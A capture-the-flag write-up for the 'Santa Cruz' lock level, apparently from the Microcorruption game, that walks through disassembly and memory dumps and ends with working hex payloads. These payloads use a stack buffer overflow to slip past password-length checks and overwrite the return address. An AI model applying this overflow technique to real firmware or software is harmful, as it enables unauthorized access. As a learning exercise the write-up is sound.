# 9. Santa Cruz

# Challenge Overview

OVERVIEW

    - A firmware update further rejects passwords which are too long.
    - This lock is attached the the LockIT Pro HSM-1.

Running the program:

Authentication now requires a username and password.
Remember: both are between 8 and 16 characters.
Please enter your username:
> username
Please enter your password:
> password
That password is not correct.

# Solution

Looking at the assembly shows that its pretty different to the previous levels.

4550 <login>
4550:  0b12           push	r11
4552:  0412           push	r4
4554:  0441           mov	sp, r4
4556:  2452           add	#0x4, r4
4558:  3150 d8ff      add	#0xffd8, sp
455c:  c443 faff      mov.b	#0x0, -0x6(r4)
4560:  f442 e7ff      mov.b	#0x8, -0x19(r4)
4564:  f440 1000 e8ff mov.b	#0x10, -0x18(r4)
456a:  3f40 8444      mov	#0x4484 "Authentication now requires a username and password.", r15
456e:  b012 2847      call	#0x4728 <puts>
4572:  3f40 b944      mov	#0x44b9 "Remember: both are between 8 and 16 characters.", r15
4576:  b012 2847      call	#0x4728 <puts>
457a:  3f40 e944      mov	#0x44e9 "Please enter your username:", r15
457e:  b012 2847      call	#0x4728 <puts>
4582:  3e40 6300      mov	#0x63, r14
4586:  3f40 0424      mov	#0x2404, r15
458a:  b012 1847      call	#0x4718 <getsn>
458e:  3f40 0424      mov	#0x2404, r15
4592:  b012 2847      call	#0x4728 <puts>
4596:  3e40 0424      mov	#0x2404, r14
459a:  0f44           mov	r4, r15
459c:  3f50 d6ff      add	#0xffd6, r15
45a0:  b012 5447      call	#0x4754 <strcpy>
45a4:  3f40 0545      mov	#0x4505 "Please enter your password:", r15
45a8:  b012 2847      call	#0x4728 <puts>
45ac:  3e40 6300      mov	#0x63, r14
45b0:  3f40 0424      mov	#0x2404, r15
45b4:  b012 1847      call	#0x4718 <getsn>
45b8:  3f40 0424      mov	#0x2404, r15
45bc:  b012 2847      call	#0x4728 <puts>
45c0:  0b44           mov	r4, r11
45c2:  3b50 e9ff      add	#0xffe9, r11
45c6:  3e40 0424      mov	#0x2404, r14
45ca:  0f4b           mov	r11, r15
45cc:  b012 5447      call	#0x4754 <strcpy>
45d0:  0f4b           mov	r11, r15
45d2:  0e44           mov	r4, r14
45d4:  3e50 e8ff      add	#0xffe8, r14
45d8:  1e53           inc	r14
45da:  ce93 0000      tst.b	0x0(r14)
45de:  fc23           jnz	$-0x6 <login+0x88>
45e0:  0b4e           mov	r14, r11
45e2:  0b8f           sub	r15, r11
45e4:  5f44 e8ff      mov.b	-0x18(r4), r15
45e8:  8f11           sxt	r15
45ea:  0b9f           cmp	r15, r11
45ec:  0628           jnc	$+0xe <login+0xaa>
45ee:  1f42 0024      mov	&0x2400, r15
45f2:  b012 2847      call	#0x4728 <puts>
45f6:  3040 4044      br	#0x4440 <__stop_progExec__>
45fa:  5f44 e7ff      mov.b	-0x19(r4), r15
45fe:  8f11           sxt	r15
4600:  0b9f           cmp	r15, r11
4602:  062c           jc	$+0xe <login+0xc0>
4604:  1f42 0224      mov	&0x2402, r15
4608:  b012 2847      call	#0x4728 <puts>
460c:  3040 4044      br	#0x4440 <__stop_progExec__>
4610:  c443 d4ff      mov.b	#0x0, -0x2c(r4)
4614:  3f40 d4ff      mov	#0xffd4, r15
4618:  0f54           add	r4, r15
461a:  0f12           push	r15
461c:  0f44           mov	r4, r15
461e:  3f50 e9ff      add	#0xffe9, r15
4622:  0f12           push	r15
4624:  3f50 edff      add	#0xffed, r15
4628:  0f12           push	r15
462a:  3012 7d00      push	#0x7d
462e:  b012 c446      call	#0x46c4 <INT>
4632:  3152           add	#0x8, sp
4634:  c493 d4ff      tst.b	-0x2c(r4)
4638:  0524           jz	$+0xc <login+0xf4>
463a:  b012 4a44      call	#0x444a <unlock_door>
463e:  3f40 2145      mov	#0x4521 "Access granted.", r15
4642:  023c           jmp	$+0x6 <login+0xf8>
4644:  3f40 3145      mov	#0x4531 "That password is not correct.", r15
4648:  b012 2847      call	#0x4728 <puts>
464c:  c493 faff      tst.b	-0x6(r4)
4650:  0624           jz	$+0xe <login+0x10e>
4652:  1f42 0024      mov	&0x2400, r15
4656:  b012 2847      call	#0x4728 <puts>
465a:  3040 4044      br	#0x4440 <__stop_progExec__>
465e:  3150 2800      add	#0x28, sp
4662:  3441           pop	r4
4664:  3b41           pop	r11
4666:  3041           ret

Looking at the layout of memory at the end of the function:

> r 0x43a0
43a0 0000 7573 6572 6e61 6d65 0000 0000 0000  ..username......
43b0 0000 0008 1070 6173 7377 6f72 6400 0000  .....password...

> r sp
43cc 4044 0000 0000 0000 0000 0000 0000 0000  @D..............
43dc 0000 0000 0000 0000 0000 0000 0000 0000  ................

Setting a breakpoint at each br #0x4440 <__stop_progExec__> call and overflowing the password field.

Authentication now requires a username and password.
Remember: both are between 8 and 16 characters.
Please enter your username:
> username
Please enter your password:
> aaaaaaaaaaaaaaaabbbb
Invalid Password Length: password too long.

Going to try the same idea but overflowing the username to past where the password buffer would be.

uthentication now requires a username and password.
Remember: both are between 8 and 16 characters.
Please enter your username:
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Please enter your password:
> bbbbbbbbbbbb
Invalid Password Length: password too short.

This shouldnt happen :)

Setting a breakpoint at the compare:

4600:  0b9f           cmp	r15, r11
4602:  062c           jc	$+0xe <login+0xc0>
4604:  1f42 0224      mov	&0x2402, r15
4608:  b012 2847      call	#0x4728 <puts>
460c:  3040 4044      br	#0x4440 <__stop_progExec__>
---
> r r11
000c 0000 0000 3041 0000 0000 0000 0000 0000  ....0A..........
001c 0000 0000 0000 0000 0000 0000 0000 0000  ................
> r r15
0061 0000 0000 0000 0000 0000 0000 0000 0000  ................
0071 0000 0000 0000 0000 0000 0000 0000 0000  ................

Looking at the memory again this value seems to be the 0x12 byte of the username:

Authentication now requires a username and password.
Remember: both are between 8 and 16 characters.
Please enter your username:
AAAAAAAAAAAAAAAAABAA
Please enter your password:
password1
---
> r r15
0042 0000 0000 0000 0000 0000 0000 0000 0000  ................

With this we can now bypass the password length check.

username = | padding | len(password) | padding | password = | padding | srp |

trying 0x17 bytes for the password padding:

username = 0x41*17+0x19+0x4141 password = 0x41*23+0x4a44

4141414141414141414141414141414141194141
41414141414141414141414141414141414141414141414a44

This fails another check:

464c:  c493 faff      tst.b	-0x6(r4)
---
> r r4-0x6
43c6 4141 4141 4141 4a44 0000 0000 0000 0000  AAAAAAJD........

and due to the strcpy call I cant null out the byte.

Instead what if we use the username to write the entire payload and then the password to write the null byte.

username = | padding | len(password) | padding | srp | password = | padding | 0x00 |

So it would be: username = 0x41*17 + 0x11 + 0x41*24 + 0x4a44 password = 0x41 * 0x11 + 0x00

4141414141414141414141414141414141114141414141414141414141414141414141414141414141414a44
414141414141414141414141414141414100

yay this works!!

fun challenge